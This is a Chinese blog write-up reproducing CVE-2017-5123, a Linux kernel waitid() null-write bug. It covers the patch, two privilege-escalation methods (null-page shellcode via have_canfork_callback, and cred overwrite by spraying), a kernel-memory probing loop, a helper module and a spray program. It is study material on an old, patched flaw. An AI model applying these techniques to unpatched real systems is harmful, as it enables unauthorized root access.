【kernel exploit】CVE-2017-5123 null任意地址写漏洞

2021/05/31 Kernel-exploit 共 10455 字,约 30 分钟

【kernel exploit】CVE-2017-5123 null任意地址写漏洞

影响版本:小于Linux v4.14-rc5。Linux v4.14-rc5 和 Linux v4.14.1已修补,Linux v4.14-rc4未修补。

测试版本:Linux v4.14-rc4 测试环境下载地址

编译选项CONFIG_SLAB=y

General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.14-rc4.tar.xz
$ tar -xvf linux-4.14-rc4.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述/kernel/exit.c中的waitid的实现,在调用unsafe_put_user()将内核数据拷贝到用户空间地址时,没有调用access_ok()检测用户空间地址的合法性,导致实际可以往内核空间地址拷贝数据。 waitid未检测用户地址合法性 导致 null 任意地址写

补丁漏洞引入 patch exp1 exp2 exp3

diff --git a/kernel/exit.c b/kernel/exit.c
index f2cd53e92147c..cf28528842bcf 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1610,6 +1610,9 @@ SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
 	if (!infop)
 		return err;
 
+	if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+		goto Efault;
+
 	user_access_begin();
 	unsafe_put_user(signo, &infop->si_signo, Efault);
 	unsafe_put_user(0, &infop->si_errno, Efault);
@@ -1735,6 +1738,9 @@ COMPAT_SYSCALL_DEFINE5(waitid,
 	if (!infop)
 		return err;
 
+	if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+		goto Efault;
+
 	user_access_begin();
 	unsafe_put_user(signo, &infop->si_signo, Efault);
 	unsafe_put_user(0, &infop->si_errno, Efault);

保护机制:开启SMEP / SMAP,未开启KASLR。

利用总结

  • 方法一:通过覆盖fork()函数中的have_canfork_callback变量,构造空指针引用,执行0地址处预先布置的shellcode提权。缺点是需修改mmap_min_addr,并关闭SMEP防护。
  • 方法二:通过猜测cred地址的范围,覆写uid提权,缺点是成功率不高。可开启SMEP/SMAP防护。

想法:能否利用这种null写 等限制很严的 漏洞,在内核中覆盖一个自旋锁,用来创建竞争条件。创造竞争漏洞?

一、漏洞介绍

漏洞源码waitid() 未调用 access_ok() 来检查地址是否属于用户空间,就调用unsafe_put_user()向用户空间拷贝数据,我们可以写1个空字节到任意地址。 struct siginfo __user *infop 由用户提供,所以用户可以使用infop来指定内核地址,如果能将空字节写入cred.uid,就能提权。

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
	struct rusage r;
	struct waitid_info info = {.status = 0};
	long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
	int signo = 0;

	if (err > 0) {
		signo = SIGCHLD;
		err = 0;
		if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
			return -EFAULT;
	}
	if (!infop)
		return err;

	user_access_begin();		// 实际调用 stac(), 暂时关闭SMAP(本质是设置 EFLAGS.AC, 便于对用户数据进行读写)
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);	// !!!!!  漏洞点: 写一个空字节到一个可控的任意地址。
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();			// 实际调用 clac(). 重新开启SMAP
	return err;
Efault:
	user_access_end();
	return -EFAULT;
}

#define unsafe_put_user(x, ptr, err_label)                    \
do {                                        \
    int __pu_err;                                \
    __typeof__(*(ptr)) __pu_val = (x);                    \
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);    \
    if (unlikely(__pu_err)) goto err_label;                    \
} while (0)
// access_ok(): 检查地址是否属于用户空间。
/*
1.user_addr_max() 获得了 current->thread.addr_limit.seg 作为用户态地址的边界。
2.__chk_user_ptr 检查我们的参数 addr 是否是指向用户态的
3.__range_not_ok 检查 addr + size 和 limit 的大小关系,即addr + size 是否也指向用户态
*/
#define access_ok(type, addr, size)                    \
({                                    \
    WARN_ON_IN_IRQ();                        \
    likely(!__range_not_ok(addr, size, user_addr_max()));        \
})

二、漏洞利用

利用思路

  • 1.堆喷:大量的进行fork()创建进程,每个进程都会对应一个cred结构体,然后任意写某一个进程cred的uid,之后 getuid() 检测是否有哪一个进程的uid被清零(提权)。
  • 2.ret2dir:首先找到用户区域和内核区域对应的physmap的地址,在physmap中写payload,然后找到内核对应的physmap的虚拟地址,最后把内核态的执行流劫持到内核对应的physmap地址上。
  • 3.通过爆破struct file 的地址,然后找到file结构体中指向当前的cred结构体的指针,接下来直接任意写当前的cred结构体。
  • 4.利用覆写have_canfork_callback触发空指针引用fork()提权。0地址shellcode配合空指针引用提权。
  • 5.在内核数据段找到一个对象,其索引/大小/值为零将导致超出内存访问边界;
  • 6.在内核中覆盖一个自旋锁,用来创建竞争条件;(这个思路很新颖)
  • 7.尝试覆盖内核堆栈上的基址指针或其他值;
  • 8.触发可能导致在内核堆栈上创建有用结构的操作,看看是否可以用任意写入的0命中对象。

1. 方法一:执行shellcode

局限:需要修改mmap_min_addr,且无法绕过SMEP防护,实测时发现SMAP也得关闭。

代码分析

对于如下调用流:fork() -> _do_fork() -> copy_process() (1832L) -> cgroup_can_fork() -> do_each_subsys_mask()

// (1) copy_process() —— 为子进程复制一份进程信息
fork()
    _do_fork()
        copy_process()
                /*
                 * Ensure that the cgroup subsystem policies allow the new process to be
                 * forked. It should be noted the the new process's css_set can be changed
                 * between here and cgroup_post_fork() if an organisation operation is in
                 * progress.
                 */
                retval = cgroup_can_fork(p);        //判断cgroup是否允许新的进程被fork?
// (2) cgroup_can_fork()
int cgroup_can_fork(struct task_struct *child)
{
    struct cgroup_subsys *ss;
    int i, j, ret;
    do_each_subsys_mask(ss, i, have_canfork_callback) {  	// <-----------
        ret = ss->can_fork(child);							// !!!!!!!!!!!!
        if (ret)
            goto out_revert;
    } while_each_subsys_mask();
    ......
}
// (3) do_each_subsys_mask() —— 这里 ss_mask 就是 have_canfork_callback 。ss 是未初始化的 struct cgroup_subsys 指针。CGROUP_SUBSYS_COUNT 为0
#define do_each_subsys_mask(ss, ssid, ss_mask) do {			\
	unsigned long __ss_mask = (ss_mask);				\
	if (!CGROUP_SUBSYS_COUNT) { /* to avoid spurious gcc warning */	\
		(ssid) = 0;						\
		break;							\
	}								\
	for_each_set_bit(ssid, &__ss_mask, CGROUP_SUBSYS_COUNT) {	\  	// <------------
		(ss) = cgroup_subsys[ssid];				\
		{

#define while_each_subsys_mask()					\
		}							\
	}								\
} while (false)

// (4) for_each_set_bit() —— 在范围内,查找所有的被置位的bit。返回的是位图 have_canfork_callback 中小于 CGROUP_SUBSYS_COUNT 的最后一个被置位的bit的位置(在上层函数中就是ssid)。		然后将其作为数组下标,获取 cgroup_subsys[ssid] 处的值赋给 ss。
// find_first_bit 在位图中查找第一个为1的bit位; find_next_bit 在查找范围内,从bit+1开始,接着找第一个为1的bit位; 
#define for_each_set_bit(bit, addr, size) \
    for ((bit) = find_first_bit((addr), (size));        \
         (bit) < (size);                    \
         (bit) = find_next_bit((addr), (size), (bit) + 1))

最后在cgroup_can_fork()会调用 ret = ss->can_fork(child)cgroup_subsys是一个虚函数表。

struct cgroup_subsys {
    struct cgroup_subsys_state *(*css_alloc)(struct cgroup_subsys_state *parent_css);
    int (*css_online)(struct cgroup_subsys_state *css);
    void (*css_offline)(struct cgroup_subsys_state *css);
    void (*css_released)(struct cgroup_subsys_state *css);
    void (*css_free)(struct cgroup_subsys_state *css);
    void (*css_reset)(struct cgroup_subsys_state *css);
 
    int (*can_attach)(struct cgroup_taskset *tset);
    void (*cancel_attach)(struct cgroup_taskset *tset);
    void (*attach)(struct cgroup_taskset *tset);
    void (*post_attach)(void);
    int (*can_fork)(struct task_struct *task);                    // can_fork() 偏移0x50
    void (*cancel_fork)(struct task_struct *task);
    void (*fork)(struct task_struct *task);
    void (*exit)(struct task_struct *task);
    void (*free)(struct task_struct *task);
    void (*bind)(struct cgroup_subsys_state *root_css);
    ......

找到 have_canfork_callback 位图中小于CGROUP_SUBSYS_COUNT的、最后一个被置位的bit位(即ssid),且ssid要小于等于CGROUP_SUBSYS_COUNT(调试时发现其值为0xb),然后返回ss=cgroup_subsys[ssid],跳转到 ss->can_forkcgroup_subsys初始化点 所以只有ssid<=0xb才会调用ss->can_forkssid>0xb程序会直接返回。

方法:本漏洞能够进行任意内存写,将第一个int写为0x11,第二个int写为0。如果我们将have_canfork_callback的第一个字节改为0x11,for_each_set_bit()返回0,就会返回一个空的cgroup_subsys表,cgroup_subsys->can_fork也为NULL。最后调用执行0地址处的代码,在0地址上放置shellcode,就能在0地址上执行shellcode。

利用步骤

  • (1)0地址处放置shellcode,也即jmp 0x8, 跳转到 get_root()
  • (2)waitid触发漏洞,修改 *have_canfork_callback 的第1字节为 0x11;
  • (3)调用 fork, 会调用未初始化的 cgroup_subsys->can_fork , 执行0地址处的代码。

问题:由于内核从2.6.22版本开始,可以使用sysctl设置mmap_min_addr来防止用户层映射0地址。从Ubuntu 9.04开始,mmap_min_addr设置被内置到内核中(x86为64k,ARM为32k)。只有root用户才能做0地址映射(mmap() -> do_mmap() -> get_unmmapped_area() -> cap_capable()会检查进程的权限)。需在内核启动脚本中调用$ sysctl -w vm.mmap_min_addr=0关闭该保护。

测试截图:exp程序见exp_null_ptr.c。感觉利用成功了,但只要执行命令就会报错BUG: unable to handle kernel NULL pointer dereference。和 这里 的问题一样,原因不明。

1-result

2. 方法二 :null任意写覆盖cred提权

参考 Exploiting CVE-2017-5123

局限:需要猜测cred地址的范围,实际上有不确定性。

内存探测waitid()在非法内存访问时不会崩溃,而是返回错误代码,初衷是为了避免DoS攻击。基于此,也可以进行内存的爆破or探测。(-EFAULT)

// 内存探测,检查内核哪些地址是有效的
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

利用步骤

  • (1)使用clone()函数创建多个轻量级process,那么内核中会存在许多的cred结构体。
  • (2)这些进程不断调用geteuid(),如果返回0,则表示该进程成功提权。
  • (3)父进程调用waitid()触发漏洞,对猜测的cred范围覆盖为null。

clone()介绍linux的Clone()函数详解

  • int clone(int (*func)(void*),void *child_stack,int flags,void *func_arg,....);

  • 类似于fork()vfork(),Linux特有的系统调用clone()也能创建一个新线程。与前两者不同的是,后者在进程创建期间对步骤的控制更为准确。
  • func参数——与fork()不同的是,克隆生成的子进程继续运行时不以调用处为起点,转而去调用以参数func所指定的函数,func又称为子函数,子函数的参数由 func_arg 指定。当函数func返回或者是调用exit()(或者_exit())之后,克隆产生的子进程就会终止。父进程可以通过wait()一类函数来等待克隆子进程。
  • child_stack参数——因为克隆产生的子进程可能共享父进程内存,所以它不能使用父进程的栈。相反,调用者必须分配一块大小适中的内存空间供子进程的栈使用,同时将这块内存的指针置于参数child_stack中。
  • flags参数:其低字节中存放着子进程的终止信号,子进程退出时其父进程将收到这一信号。表示掩码的组合,例如,CLONE_VM——子进程与父进程运行于相同的内存空间;CLONE_FILES——子进程与父进程共享相同的文件描述符(file descriptor)表。

euid介绍:uid代表进程的创建者(属于哪个用户创建);euid表示进程对于文件和资源的访问权限(等同于哪个用户的权限)。exp在劫持了euid之后调用setuid(0),因为如果原来的euid==0,则该函数将会设置所有的id都等于新的id,否则,只设置euid。参考 所以说,只需要覆盖euid,然后调用setuid(0)即可?

cred地址范围:观察每个进程中,cred结构体euid的地址。采用如下驱动来打印cred->euid的地址,通过程序中不断open('proc/jif'),然后$ dmesg | grep EUID\:查看打印结果。

// jif 驱动: 打印 cred->euid 地址
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

// test.c
// 问题:本程序和实际的exp中输出的euid地址范围不同,还是以实际的exp为准
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <errno.h>
#include <asm/unistd_64.h>
#define STACK_SIZE 4096

int spray()
{
    int fd = open("/proc/jif", O_RDWR);
    close(fd);
}

int main()
{
    int i, fd, ret;
    pid_t pid;
    for (i=0; i<50; i++)
    {
        void *stack=malloc(STACK_SIZE);
        pid = clone(spray,stack,CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD,NULL);
        sleep(0.1);
    }
    return 0;
}

测试截图:exp程序见exp_cred.c。感觉利用成功率不高。

2-result

参考

Linux内核[CVE-2017-5123] waitid

[原创]CVE-2017-5123 waitid本地提权分析 ——利用1:修改fork()have_canfork_callback中首字节,执行0地址处的shellcode

Exploiting CVE-2017-5123 —— 利用2:通过覆盖cred,可以绕过KASLR

CVE-2017-5123 waitid分析 利用代码 —— 利用3:关闭SELinux

Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox! exp —— 利用4:可以绕过chrome沙箱

CVE-2017-5123 漏洞利用全攻略 —— 各种利用思路

CVE-2017-5123复现

CVE-2017-5123复现

Linux Kernel 4.14.0-rc4+ - ‘waitid()’ Local Privilege Escalation

文档信息

Search

    Table of Contents